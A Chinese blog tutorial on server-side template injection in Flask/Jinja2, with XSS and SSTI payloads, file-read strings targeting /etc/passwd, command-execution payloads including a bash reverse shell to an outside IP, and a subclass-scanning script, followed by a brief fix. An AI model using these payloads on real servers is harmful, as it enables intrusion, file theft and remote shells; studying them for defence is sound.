首页 > 其他分享 >02--SSTL模块注入+

02--SSTL模块注入+

时间:2022-10-03 20:58:15浏览次数:69  
标签:02 __ .__ -- class __.__ mro SSTL id

 

目录:


SSTL模块注入

 

 


 

 

SSTL模块注入

SSTI:python-flask模块注入

原理:

1、flask模块的渲染方法有render_template和render_template_string两种。
render_template()是用来渲染一个指定的文件的。使用如下
return render_template('index.html')
render_template_string则是用来渲染一个字符串的。SSTI与这个方法密不可分。
html = '<h1>This is index page</h1>'
return render_template_string(html)

2、flask是使用Jinja2来作为渲染引擎的。
{{}}在Jinja2中作为变量包裹标识符。使用 {{内容}} 传入的内容都会被当做变量执行

 

利用

测试代码:

@app.route('/test/') //route装饰器的作用是将函数与url绑定起来,即
def test():
code = request.args.get('id')
html = '''
<h3>%s</h3>
'''%(code)
return render_template_string(html)

XSS利用:

直接向?id中传入XSS语句

eg: ?id=<script>alert('xss')</script>

 

SSTI基础利用:

  在Jinja2模板引擎中,{{}}是变量包裹标识符。{{}}并不仅仅可以传递变量,还可以执行一些简单的表达式
可以构造 ?id={{5*5}},若是页面的回显中存在结果 25 ,则存在SSTI
可以用其读取运行文件
1)读取flask模块的全局变量config:
?id={{config}}
2)在 tornado框架的网站中,{{handler.settings}} 可以得出cookie_secret


SSTI文件读取和命令执行:

pythonon中的魔术方法:

__class__ 返回类型所属的对象(类)
__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__ 返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的
__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__ 类的初始化方法
__globals__ 对包含函数全局变量的字典的引用

 

思路:

通过python的对象的继续来一步步实现文件的读取和命令执行的
首先用__class__读取当前类对象的类,找到父类 <type 'object'>
然后用__mro__或者__base__寻找基类
然后用__subclasses__找命令执行或者文件操作的模块
然后使用__init__声明
然后使用__globals__引用模块

 

文件读取:

1.获取字符串的类对象(获取一个类):

?id={{'a'.__class__}}

2.寻找基类链,找到<type 'object'>类

?id={{ 'a'.__class__.__mro__}}

3.寻找<type 'object'>类的所有子类中可用的引用类

?id={{'a'.__class__.__mro__[2].__subclasses__()}}

这里可以看到有一个<type 'file'>类,也就是对文件操作的类,那么可以拿他的方法进行文件读取。

4.利用<type 'file'>的read()方法进行文件读取

?id={{'a'.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}


命令执行

payload:

'a'.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')
'a'.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('bash -i >& /dev/tcp/47.107.12.14/7777 0>&1')
[]中的数值根据具体场景确定

 

快速寻找os模块的脚本(利用globals可查看到此类包含所有模块的字典):

# encoding: utf-8
num=0
for item in ''.__class__.__mro__[2].__subclasses__():
try:
if 'os' in item.__init__.__globals__:
print(num)
print(item)
num+=1
except:
print('-')
num+=1

 


漏洞修复

将传入可控参数的地方加上变量包裹符{{}},即可防止表达式执行。
例如本例中将

'''
<h3>%s</h3>
'''%(code)

构造成:

'<h1>{{ code }}</h1>',code=code

 

强烈建议阅读原文:

https://www.cnblogs.com/-chenxs/p/11971164.html
https://blog.csdn.net/weixin_46342884/article/details/123246354

返回目录

 

 

 

注: 本文几乎是搬运网上各位作者的部分文章,组成了我想要了解和学习的知识点;每一小节都有标明出处,建议阅读原文(原文更加详细),若有冒犯,望海涵!

标签:02,__,.__,--,class,__.__,mro,SSTL,id
From: https://www.cnblogs.com/yiyajinluo/p/16751201.html

相关文章

  • 实验3:OpenFlow协议分析实践
    实验3:OpenFlow协议分析实践一、实验目的能够运用wireshark对OpenFlow协议数据交互过程进行抓包;能够借助包解析工具,分析与解释OpenFlow协议的数据包交互过程与机制......
  • 热图
    1. 是什么热图热图是对实验数据分布情况进行分析的直观可视化方法,可以用来进行实验数据的质量控制和差异数据的具像化展示。其基本原则是用颜色代表数字,让数据呈现更直......
  • [挑战记录][省选联考 2022] 预处理器
    2022100220:30开始答题20:35先水\(20\)分21:30假了,重构2022100306:34\(60\)分19:45继续重构,学习了一些\(\operatorname{string}\)的科技20:18过了#inclu......
  • 火山图
      1.火山图的用途主要是展示差异表达的基因,通常应用于转录组研究,也能应用于基因组,蛋白质组,代谢组等统计数据。2. 怎么看火山图1)坐标轴:横轴是log2(Foldchange),显......
  • 恶意代码分析实战 ollydbg使用来了 Lab 9-1 9-2 9-3
    Lab9-1:使用IDAPro和OllyDbg分析恶意文件Lab9-1.exe,回答以下问题。如何让这个恶意代码安装自身?这个恶意代码的命令行选项是什么?它要求的密码是什么?如何利用Olly......
  • 哈工大李治军老师《操作系统》课程学习笔记
    目录1什么是操作系统2操作系统boot3操作系统启动3.1setup3.2关于保护模式3.3system模块4操作系统接口5系统调用的实现5.1为什么要隔离用户态和内核态5.2如何隔离......
  • MarkDown学习笔记
    MarkDown学习标题:一级标题#一级标题二级标题##二级标题三级标题 ###三级标题字体 ##字体helloword **helloword**helloword *helloword*helloword......
  • 相关性分析散点图
    1. 散点图的用途散点图是用两组数据构成多个坐标点,观察坐标点的分布,判断两者之间是否存在某种关联或总结坐标点的分布模式。从散点图上可以解读两个变量的相互关系,所以......
  • 如何不用 TeX 制作优美的 NOIP 模拟赛题面(详细揭秘)
    不用TeX制作优美的NOIP模拟赛题面是怎么回事呢?那么优美的NOIP模拟赛题面为什么会不用TeX制作,相信大家都很好奇。大家可能会感到很惊讶,那么优美的NOIP模拟赛题面......
  • 2022-10-03-SpringMVC执行流程梳理及结合源码断点调试过程源码分析
    SpringMVC执行流程梳理接口方式控制器实现流程分析控制器层代码实现控制器配置SpringMVC.xml配置文件客户端浏览器发起请求,按回车前端控制器拦截所有请求/......